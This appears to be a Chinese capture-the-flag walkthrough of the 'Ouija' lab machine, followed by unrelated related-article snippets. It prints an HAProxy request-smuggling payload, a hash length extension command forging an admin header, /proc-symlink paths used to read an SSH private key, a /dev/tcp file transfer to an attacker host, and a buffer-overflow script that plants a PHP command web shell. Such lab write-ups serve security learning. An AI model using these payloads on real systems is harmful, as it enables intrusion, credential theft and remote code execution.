记一次对ouija渗透测试c语言逆向学习

news2024/11/24 0:30:35

概要

初始知识

web应用枚举
二进制逆向
文件枚举
堆栈溢出

学到知识

hash长度攻击
任意文件读取
二进制逆向分析

信息收集

端口扫描

nmap --min-rate 1000 -p- 10.129.30.104
发现22,80,3000端口

网站探测

目录枚举

feroxbuster -u http://10.129.30.104
feroxbuster -u http://10.129.30.104:3000

200      GET        1l        1w       26c http://10.129.30.104:3000/register
200      GET        1l        5w       42c http://10.129.30.104:3000/login
200      GET        1l        4w       25c http://10.129.30.104:3000/users
200      GET        1l        5w       42c http://10.129.30.104:3000/Login
200      GET        1l        4w       25c http://10.129.30.104:3000/Users
200      GET        1l        1w       26c http://10.129.30.104:3000/Register
200      GET        1l        5w       42c http://10.129.30.104:3000/LOGIN

子域名收集

ffuf -u http://10.129.30.104 -H "Host:FUZZ.ouija.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac

gitea用户信息

信息泄露
Install HA-Proxy version 2.2.16 疑似存在漏洞

http走私漏洞

https://blog.csdn.net/weixin_50464560/article/details/120458520
https://portswigger.net/daily-swig/haproxy-vulnerability-enables-http-request-smuggling-attacks
https://jfrog.com/blog/critical-vulnerability-in-haproxy-cve-2021-40346-integer-overflow-enables-http-smuggling/
https://github.com/advisories/GHSA-h2p2-w857-329f

POST /index.html HTTP/1.1
Host: abc.com
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 60

GET /admin/add_user.py HTTP/1.1
Host: abc.com
abc: xyz

关闭自动更新字节

利用http走私漏洞
自定义Content-Length

读取init.sh

#!/bin/bash

echo "$(date) api config starts" >>
mkdir -p .config/bin .config/local .config/share /var/log/zapi
export k=$(cat /opt/auth/api.key)
export botauth_id="bot1:bot"
export hash="4b22a0418847a51650623a458acc1bba5c01f6521ea6135872b9f15b56b988c1"
ln -s /proc .config/bin/process_informations
echo "$(date) api config done" >> /var/log/zapi/api.log

exit 1

读取app.js

var express = require('express');
var app = express();
var crt = require('crypto');
var b85 = require('base85');
var fs = require('fs');
const key = process.env.k;

app.listen(3000, ()=>{ console.log("listening @ 3000"); });

function d(b){
    s1=(Buffer.from(b, 'base64')).toString('utf-8');
    s2=(Buffer.from(s1.toLowerCase(), 'hex'));
    return s2;
}
function generate_cookies(identification){
    var sha256=crt.createHash('sha256');
    wrap = sha256.update(key);
    wrap = sha256.update(identification);
    hash=sha256.digest('hex');
    return(hash);
}
function verify_cookies(identification, rhash){
    if( ((generate_cookies(d(identification)))) === rhash){
        return 0;
    }else{return 1;}
}
function ensure_auth(q, r) {
    if(!q.headers['ihash']) {
        r.json("ihash header is missing");
    }
    else if (!q.headers['identification']) {
        r.json("identification header is missing");
    }

    if(verify_cookies(q.headers['identification'], q.headers['ihash']) != 0) {
        r.json("Invalid Token");
    }
    else if (!(d(q.headers['identification']).includes("::admin:True"))) {
        r.json("Insufficient Privileges");
    }
}

app.get("/login", (q,r,n) => {
    if(!q.query.uname || !q.query.upass){
        r.json({"message":"uname and upass are required"});
    }else{
        if(!q.query.uname || !q.query.upass){
            r.json({"message":"uname && upass are required"});
        }else{
            r.json({"message":"disabled (under dev)"});
        }
    }
});
app.get("/register", (q,r,n) => {r.json({"message":"__disabled__"});});
app.get("/users", (q,r,n) => {
    ensure_auth(q, r);
    r.json({"message":"Database unavailable"});
});
app.get("/file/get",(q,r,n) => {
    ensure_auth(q, r);
    if(!q.query.file){
        r.json({"message":"?file= i required"});
    }else{
        let file = q.query.file;
        if(file.startsWith("/") || file.includes('..') || file.includes("../")){
            r.json({"message":"Action not allowed"});
        }else{
            fs.readFile(file, 'utf8', (e,d)=>{
                if(e) {
                    r.json({"message":e});
                }else{
                    r.json({"message":d});
                }
            });
        }
    }
});
app.get("/file/upload", (q,r,n) =>{r.json({"message":"Disabled for security reasons"});});
app.get("/*", (q,r,n) => {r.json("200 not found , redirect to .");});

其中bash泄露了hash
app.js泄露了端口加密方式等

lfl

读取key没有权限,只能想别的办法


不能读取目录

可以读取hosts怀疑是不是容器

读取源代码

app.js利用

var express = require('express');
引入 Express 模块,它是 Node.js 的一个 web 应用框架。

var app = express();
创建 Express 应用的实例。

var crt = require('crypto');
引入 Node.js 的内置 crypto 模块,用于加密和散列操作。

var b85 = require('base85');
引入 base85 模块,但代码中未使用此模块。

var fs = require('fs');
引入 Node.js 的内置 fs 模块,用于文件系统操作。

const key = process.env.k;
从环境变量中读取一个名为 k 的值,并将其存储在常量 key 中。

app.listen(3000, ()=>{ console.log("listening @ 3000"); });
启动服务器监听 3000 端口,并在控制台打印 "listening @ 3000"。

定义 d 函数:

将 base64 编码的字符串转换为 utf-8 字符串。
将得到的字符串转换为小写形式的十六进制字符串。
定义 generate_cookies 函数:

使用 crypto 模块创建一个 SHA-256 散列。
更新散列,包含密钥 key 和 identification。
返回十六进制格式的散列值。
定义 verify_cookies 函数:

比较通过 generate_cookies 生成的散列和请求头中的 rhash。
如果相同,返回 0;如果不同,返回 1。
定义 ensure_auth 函数:

检查请求头中是否包含 ihash 和 identification。
使用 verify_cookies 验证身份。
检查解码后的 identification 是否包含管理员权限("::admin:True")。
app.get("/login", (q,r,n) => { ... });
定义 /login 路由的处理函数,但逻辑有重复且存在错误。

app.get("/register", (q,r,n) => {r.json({"message":"__disabled__"});});
定义 /register 路由,返回一条消息表示该功能被禁用。

app.get("/users", (q,r,n) => { ... });
定义 /users 路由,使用 ensure_auth 函数进行身份验证,然后返回数据库不可用的消息。

app.get("/file/get",(q,r,n) => { ... });
定义 /file/get 路由,进行身份验证,然后根据请求中的 file 参数读取文件内容并返回。

app.get("/file/upload", (q,r,n) =>{r.json({"message":"Disabled for security reasons"});});
定义 /file/upload 路由,返回一条消息表示该功能因安全原因被禁用。

app.get("/*", (q,r,n) => {r.json("200 not found , redirect to .");});
捕获所有 GET 请求,并返回 404 错误消息

根据这个代码分析,我们查看到
identification 和ihash 不等于0同时存在同时查看是不是包含admin:True
ihash and identification headers must exist;
ihash 标 identification 头必须存在;
verify_cookies must return True;
verify_cookies 必须返回 True;
the decoded identification header must include ::admin:True.
解码 identification 的标头必须包括 ::admin:True

尝试构造包

错误无结果包如下

根据app.js我们进行加密操作
echo -n 'bot1:bot' | xxd -p | base64 -w 0

使用 echo 打印字符串 'bot1:bot' 但不添加换行符。
使用 xxd -p 将字符串的二进制表示转换成十六进制形式,并且输出纯十六进制数据。
使用 base64 -w 0 将十六进制数据编码为 Base64 编码的字符串,并且输出为一行
失败
所以我们就根据现有情况,我们知道所需的部分明文,以及目标hash,尝试哈希长度扩展攻击:
https://github.com/iagox86/hash_extender
make报错使用下面
https://github.com/iagox86/hash_extender/blob/62b681af5a86175147de69b473a2a066063461e4/Makefile
下载到本地

./hash_extender -d 'bot1:bot' -s 4b22a0418847a51650623a458acc1bba5c01f6521ea6135872b9f15b56b988c1 -a '::admin:True' -f sha256 --secret-min=8 --secret-max 64
经过测试在23,key有用

文件读取

init.sh里有一行ln -s /proc .config/bin/process_informations,所以我们可以利用这个软链接通过proc过去来读取其他文件

我们注意到前面发现和测试有leila用户
.config/bin/process_informations/self/root/etc/passwd
所以就尝试去读取leila
.config/bin/process_informations/self/root/home/leila/.ssh/id_rsa

cat leila |jq .message -r 把ssh文件提取

leila

枚举

ps -auxw
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
leila        849  0.0  2.2 665484 89240 ?        Ssl  01:05   0:17 /usr/bin/js /var/www/api/app.js
leila       1600  0.2  4.1 1400536 167856 ?      Ssl  01:05   1:17 /usr/local/bin/gitea web
leila     159868  0.0  0.2  17368  9992 ?        Ss   09:54   0:00 /lib/systemd/systemd --user
leila     159983  0.0  0.1   8652  5444 pts/0    Ss   09:54   0:00 -bash
leila     164229  0.0  0.0  10332  3744 pts/0    R+   10:09   0:00 ps -auxw

netstat -tnlp 命令会显示当前系统上所有处于监听状态的 TCP 套接字的详细信息,包括它们的数字形式的地址和端口号,以及关联的进程信息

在枚举中我们找到了root权限运行的应用

端口转发
ssh -i leila_ssh -L 9999:localhost:9999 leila@ouija.htb

没有结果,继续枚举
继续枚举发现本地9999端口,查看代码发现say_lverifier没有在php文件中定义,进一步发现自定义的php扩展,下载下来分析,可以发现相关函数在so中

nc 文件传输
cat /usr/lib/php/20220829/lverifier.so > /dev/tcp/IP/port
nc -lnvp 9001 > lverifier.so

比如字符串分析
strings lverifier.so

或者使用二进制分析工具

它用于 zend_parse_parameters 获取 username and password (及其长度),并且这些字符串被传递到 validating_userinput

自定义名字分析,让我们可以更好的理解,改为USERNAME,PASSWORD


经过和结合GPT分析
疑似存在
潜在的缓冲区溢出:函数中复制用户名到USERNAME_COPY的过程中,没有适当的长度检查,如果USERNAME的长度超过预期,可能会发生缓冲区溢出
潜在的整数溢出:在计算SHORT_USERNAME_LEN时,使用了位运算和强制类型转换,如果LEN_USERNAME的值非常大,可能会引起整数溢出

void validating_userinput(undefined8 *USERNAME,undefined8 PASSWORD)

{
  size_t LEN_USERNAME;
  long lVar1;
  ulong uVar2;
  ulong uVar3;
  undefined8 *puVar4;
  byte bVar5;
  undefined8 uStack_680;
  undefined4 LOG_PATH;
  undefined4 uStack_674;
  undefined4 uStack_670;
  undefined4 uStack_66c;
  undefined8 local_668;
  undefined8 local_660;
  undefined local_658 [16];
  undefined local_648 [16];
  undefined local_638 [16];
  undefined local_628 [16];
  undefined4 local_618;
  undefined4 LOG_DATA;
  undefined4 uStack_604;
  undefined4 uStack_600;
  undefined4 uStack_5fc;
  undefined4 local_5f8;
  undefined4 uStack_5f4;
  undefined4 uStack_5f0;
  undefined4 uStack_5ec;
  undefined8 local_5e8;
  undefined8 uStack_5e0;
  undefined8 local_5d8 [79];
  undefined8 auStack_360 [102];
  undefined8 local_30;
  long SHORT_USERNAME_LEN;
  undefined8 *USERNAME_COPY;

  bVar5 = 0;
  uStack_680 = 0x10186d;
  LEN_USERNAME = strlen((char *)USERNAME);
  local_660 = 0;
  LOG_PATH._0_1_ = '/';
  LOG_PATH._1_1_ = 'v';
  LOG_PATH._2_1_ = 'a';
  LOG_PATH._3_1_ = 'r';
  uStack_674._0_1_ = '/';
  uStack_674._1_1_ = 'l';
  uStack_674._2_1_ = 'o';
  uStack_674._3_1_ = 'g';
  uStack_670._0_1_ = '/';
  uStack_670._1_1_ = 'l';
  uStack_670._2_1_ = 'v';
  uStack_670._3_1_ = 'e';
  uStack_66c._0_1_ = 'r';
  uStack_66c._1_1_ = 'i';
  uStack_66c._2_1_ = 'f';
  uStack_66c._3_1_ = 'i';
  local_658 = (undefined  [16])0x0;
  local_648 = (undefined  [16])0x0;
  SHORT_USERNAME_LEN = -((long)(short)((short)LEN_USERNAME + 10) + 0xfU & 0xfffffffffffffff0);
  local_638 = (undefined  [16])0x0;
  puVar4 = local_5d8;
  for (lVar1 = 0x51; lVar1 != 0; lVar1 = lVar1 + -1) {
    *puVar4 = 0;
    puVar4 = puVar4 + (ulong)bVar5 * -2 + 1;
  }
  local_628 = (undefined  [16])0x0;
  local_668 = 0x676f6c2e7265;
  USERNAME_COPY = auStack_360 + 3;
  LOG_DATA._0_1_ = 's';
  LOG_DATA._1_1_ = 'e';
  LOG_DATA._2_1_ = 's';
  LOG_DATA._3_1_ = 's';
  uStack_604._0_1_ = 'i';
  uStack_604._1_1_ = 'o';
  uStack_604._2_1_ = 'n';
  uStack_604._3_1_ = '=';
  uStack_600._0_1_ = '1';
  uStack_600._1_1_ = ':';
  uStack_600._2_1_ = 'u';
  uStack_600._3_1_ = 's';
  uStack_5fc._0_1_ = 'e';
  uStack_5fc._1_1_ = 'r';
  uStack_5fc._2_1_ = '=';
  uStack_5fc._3_1_ = 'r';
  local_618 = 0;
  local_5f8._0_1_ = 'o';
  local_5f8._1_1_ = 'o';
  local_5f8._2_1_ = 't';
  local_5f8._3_1_ = ':';
  uStack_5f4._0_1_ = 'v';
  uStack_5f4._1_1_ = 'e';
  uStack_5f4._2_1_ = 'r';
  uStack_5f4._3_1_ = 's';
  uStack_5f0._0_1_ = 'i';
  uStack_5f0._1_1_ = 'o';
  uStack_5f0._2_1_ = 'n';
  uStack_5f0._3_1_ = '=';
  uStack_5ec._0_1_ = 'b';
  uStack_5ec._1_1_ = 'e';
  uStack_5ec._2_1_ = 't';
  uStack_5ec._3_1_ = 'a';
  *(undefined4 *)puVar4 = 0;
  local_5e8._0_1_ = ':';
  local_5e8._1_1_ = 't';
  local_5e8._2_1_ = 'y';
  local_5e8._3_1_ = 'p';
  local_5e8._4_1_ = 'e';
  local_5e8._5_1_ = '=';
  local_5e8._6_1_ = 't';
  local_5e8._7_1_ = 'e';
  uStack_5e0._0_1_ = 's';
  uStack_5e0._1_1_ = 't';
  uStack_5e0._2_1_ = 'i';
  uStack_5e0._3_1_ = 'n';
  uStack_5e0._4_1_ = 'g';
  uStack_5e0._5_1_ = '\0';
  uStack_5e0._6_1_ = '\0';
  uStack_5e0._7_1_ = '\0';
  if (800 < LEN_USERNAME) {
    puVar4 = USERNAME_COPY;
    for (lVar1 = 100; lVar1 != 0; lVar1 = lVar1 + -1) {
      *puVar4 = *USERNAME;
      USERNAME = USERNAME + (ulong)bVar5 * -2 + 1;
      puVar4 = puVar4 + (ulong)bVar5 * -2 + 1;
    }
    goto LAB_0010193e;
  }
  uVar2 = LEN_USERNAME + 1;
  puVar4 = USERNAME_COPY;
  if ((uint)uVar2 < 8) {
    if ((uVar2 & 4) == 0) goto LAB_001019d3;
LAB_00101a10:
    *(undefined4 *)puVar4 = *(undefined4 *)USERNAME;
    lVar1 = 4;
  }
  else {
    for (uVar3 = uVar2 >> 3 & 0x1fffffff; uVar3 != 0; uVar3 = uVar3 - 1) {
      *puVar4 = *USERNAME;
      USERNAME = USERNAME + (ulong)bVar5 * -2 + 1;
      puVar4 = puVar4 + (ulong)bVar5 * -2 + 1;
    }
    if ((uVar2 & 4) != 0) goto LAB_00101a10;
LAB_001019d3:
    lVar1 = 0;
  }
  if ((uVar2 & 2) != 0) {
    *(undefined2 *)((long)puVar4 + lVar1) = *(undefined2 *)((long)USERNAME + lVar1);
    lVar1 = lVar1 + 2;
  }
  if ((uVar2 & 1) != 0) {
    *(undefined *)((long)puVar4 + lVar1) = *(undefined *)((long)USERNAME + lVar1);
  }
LAB_0010193e:
  puVar4 = (undefined8 *)((long)&LOG_PATH + SHORT_USERNAME_LEN + 8);
  *(undefined8 *)((long)&LOG_PATH + SHORT_USERNAME_LEN) = auStack_360[3];
  lVar1 = (long)&LOG_PATH + (SHORT_USERNAME_LEN - (long)puVar4);
  *(undefined8 *)((long)auStack_360 + SHORT_USERNAME_LEN) = local_30;
  USERNAME_COPY = (undefined8 *)((long)USERNAME_COPY - lVar1);
  for (uVar2 = (ulong)((int)lVar1 + 800U >> 3); uVar2 != 0; uVar2 = uVar2 - 1) {
    *puVar4 = *USERNAME_COPY;
    USERNAME_COPY = USERNAME_COPY + (ulong)bVar5 * -2 + 1;
    puVar4 = puVar4 + (ulong)bVar5 * -2 + 1;
  }
  *(undefined8 *)((long)&uStack_680 + SHORT_USERNAME_LEN) = 0x101996;
  printf("",&LOG_DATA,&LOG_PATH);
  *(undefined8 *)((long)&uStack_680 + SHORT_USERNAME_LEN) = 0x1019a1;
  event_recorder(&LOG_PATH,&LOG_DATA);
  *(undefined8 *)((long)&uStack_680 + SHORT_USERNAME_LEN) = 0x1019ac;
  load_users((long)&LOG_PATH + SHORT_USERNAME_LEN,PASSWORD);
  return;
}

这段代码的主要功能是验证用户输入。它涉及用户名长度的检查,并对用户名进行不同的处理
缓冲区溢出
如果用户名长度大于 800 字节,会尝试将用户名复制到 USERNAME_COPY,可能会导致缓冲区溢出。
另外,对于长度小于 800 字节的用户名,处理不当的情况下也可能导致缓冲区溢出。

这里省略了在本地搭建环境测试,直接给出了python利用代码
有兴趣的可以下去深入研究二进制逆向
验证缓存区溢出

xzt = "A" * 16
longae = "/development/server-management_system_id_0/xtz.php\n"
xzt += "/" * (128 - len(xzt) - len(longae))
xzt +=longae
content = "<?php system($_REQUEST['cmd']); ?>"
xzt += content
xzt += "X" * (65535 -len(xzt))

print(xzt)

这里一定要文件名不重复,内容不重复写入

root

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1870451.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Qt 基于FFmpeg的视频播放器 - 播放、暂停以及拖动滑动条跳转

Qt 基于FFmpeg的视频转换器 - 播放、暂停以及拖动进度条跳转 引言一、设计思路二、核心源码以及相关参考链接 引言 本文基于FFmpeg&#xff0c;使用Qt制作了一个极简的视频播放器. 相比之前的版本&#xff0c;加入了播放、暂停、拖动滑动条跳转功能&#xff0c;如上所示 (左图)…

局域网聊天软件 matrix

窝有 3 只 Android 手机 (3 号手机, 6 号手机, 9 号手机), 2 台 ArchLinux PC (4 号 PC, 6 号 PC), 1 台 Fedora CoreOS 服务器 (5 号). (作为穷人, 窝使用的基本上是老旧的二手设备, 比如 5 年前的手机, 9 年前的笔记本, 10 年前的古老 e5v3 主机, 都比较便宜. ) 窝经常需要 …

format()函数

自学python如何成为大佬(目录):https://blog.csdn.net/weixin_67859959/article/details/139049996?spm1001.2014.3001.5501 语法介绍 format()可以对数据进行格式化处理操作&#xff0c;语法如下&#xff1a; format(value, format_spec) format_spec为格式化解释。当参数…

高性能Web服务器-Nginx的常用模块

文章目录 Nginx安装Nginx平滑升级与回滚平滑升级流程第1步&#xff0c;下载新版本第2步&#xff0c;编译第3步&#xff0c;执行make第4步&#xff0c;对比新旧版本第5步&#xff0c;备份旧nginx二进制文件第6步&#xff0c;模拟用户正在访问nginx第7步&#xff0c;替换旧的ngin…

The First Descendant第一后裔联机失败、联机报错这样处理

第一后裔/The First Descendant是一款免费的多人合作射击游戏&#xff0c;玩家将进入一片混乱的英格里斯大陆&#xff0c;扮演继承者后裔&#xff0c;通过各种主支线任务和故事剧情触发&#xff0c;最终揭开自身的秘密&#xff0c;并带领大家一起抵抗邪恶势力的入侵。为了避免玩…

Flume学习

Flume(分布式数据采集系统)学习 1.Flume架构 什么是flume&#xff1f; flume是一个分布式、可靠、和高可用的海量日志采集、聚合和传输的系统。 支持在日志系统中定制各类数据发送方&#xff0c;用于收集数据; 同时&#xff0c;Flume提供对数据进行简单处理&#xff0c;并写到…

华为昇腾310B1芯片DVPP模块VENC视频编码接口调用流程以及视频编码代码梳理

目录 1 接口调用流程 2 代码流程梳理 1 接口调用流程 在CANN 8.0.RC1 AscendCL应用软件开发指南 (C&C, 推理) 01.pdf 文档中有接口调用流程 2 代码流程梳理 代码在samples: CANN Samples - Gitee.com 然后我把这个代码完整的看了一遍&#xff0c;然后梳理了详细的代码…

web学习笔记(七十二)

目录 1.vue2通过$parent实现组件传值——父传子 2.vue2 通过$children实现组件传值——子传父 3. provide和inject传值&#xff08;依赖注入&#xff09; 4.vue2如何操作dom 5.vue2如何拿到最新的dom 6.filters过滤器 7.vue2的生命周期 8.vuex的用法 1.vue2通过$parent…

【SCI索引,Fellow主讲】2024年可持续发展与能源资源国际学术会议(SDER 2024,8月9-11)

2024年可持续发展与能源资源国际学术会议&#xff08;SDER 2024&#xff09;将在2024年8月9-11日于中国重庆召开。 大会旨在为从事可持续发展与能源资源方面的专家学者、工程技术人员、技术研发人员提供一个共享科研成果和前沿技术&#xff0c;了解学术发展趋势&#xff0c;拓…

2.4G特技翻斗车方案定制

遥控翻斗车不仅能够提供基本的前进、后退、左转和右转功能&#xff0c;还设计有多种特技动作和互动模式&#xff0c;以增加娱乐性和互动性。 1、无线遥控&#xff1a;玩具翻斗车一般通过2.4G无线遥控器进行控制&#xff0c;允许操作者在一定距离内远程操控车辆。 2、炫彩灯光…

Java程序员接单的十条“野路子”,分分钟收入20K!

Java程序员除了主业工作外&#xff0c;也要适当扩展兼职接单这条路。毕竟Java接单可以说是Java程序员进行技术变现的最佳方式之一。 因为Java程序员兼职接单的难度相对更低&#xff0c;单量也比较可观&#xff0c;最重要的是性价比也很顶&#xff0c;且听我一一道来&#xff1a…

Nature推荐的三种ChatGPT论文写作指令(含PDF下载)

1. 润色学术论文 ChatGPT学术润色指令&#xff1a; “I’m writing a paper on [topic]for a leading [discipline] academic journal. WhatItried to say in the following section is [specific point]. Please rephrase itfor clarity, coherence and conciseness, ensuri…

Charles抓包工具系列文章(五)-- DNS spoofing (DNS域名伪装)

一、背景 DNS域名是依赖DNS域名服务器&#xff0c;特别是内部域名&#xff0c;最后寻址到后端服务地址。 当我们无法修改客户端的域名&#xff0c;而想让其指向到我们期望地址时&#xff0c;可以采用charles的DNS spoofing。 何谓DNS 欺骗&#xff1a;将自己的主机名指定给远…

电商平台数据功能封装API需要注意些什么?如何调用封装后的API?

一、引言 随着电商行业的蓬勃发展&#xff0c;电商平台的数据功能愈发复杂多样&#xff0c;如何高效、安全地管理和使用这些数据成为了电商平台开发者面临的重要问题。API&#xff08;Application Programming Interface&#xff09;作为不同软件之间进行通信的桥梁&#xff0…

Win32消息机制原理及消息运转

一.消息机制原理 1.消息类型&#xff1a; WIndows定义的一系列WM_XXX开头的&#xff0c;用来表示键盘按键&#xff0c;鼠标点击&#xff0c;窗口变化&#xff0c;用户自定义等各种消息; 2.消息队列&#xff1a; Windows为每一个正在运行的程序维护一个消息队列应用程序的消…

Pycharm 文件标头设置

一、设置模板步骤&#xff1a; “文件File--设置Settings--编辑器Editor--File and Code Templates- Python Script” 里面设置模板 官方预设变量表 变量名 含义 ${DATE} 当前系统日期 ${DAY} 当前月的第几日 ${DAY_NAME_SHORT} 当前星期几的单词缩写&#xff08…

计算机网络之数据通信原理(下)

上一讲内容&#xff1a;数据传输方式、数据传输形式、传输差错处理、常用差错检测方法 数据通信过程中&#xff0c;一个很重要的问题就是如何控制数据的传输&#xff0c;就涉及到了传输控制规程&#xff08;协议&#xff09; 下面介绍两种&#xff1a; ①BSC&#xff1a;面向…

java基于ssm+jsp 弹幕视频网站

1前台首页功能模块 弹幕视频网站&#xff0c;在弹幕视频网站可以查看首页、视频信息、商品信息、论坛信息、我的、跳转到后台、购物车、客服等内容&#xff0c;如图1所示。 图1前台首页界面图 登录&#xff0c;通过登录填写账号、密码等信息进行登录操作&#xff0c;如图2所示…

高性能并行计算课程论文:并行网络爬虫的设计与实现

目录 1.绪论 1.1 研究背景 1.2 研究意义 ​​​​​​​1.3 文章结构 2. 网络爬虫相关理论 ​​​​​​​2.1 URL地址格式 ​​​​​​​2.2 网页爬取策略 2.2.1 深度优先策略 2.2.2 广度优先策略 2.2.3 最佳优先策略 ​​​​​​​2.3 网页分析算法 ​​​​​​​2.3.1 正…

three.js - matcap材质(MeshMatcapMaterial)

说一下matcap纹理 先总结&#xff1a;MeshMatcapMaterial材质&#xff0c;通过采样含有光照信息的贴图来模拟光照效果。这种材质特别适用于模拟静态光源下的光照&#xff0c;并且&#xff0c;因其简单性和快速性而被广泛应用于各种场景。但是&#xff0c;由于其性能考虑&#x…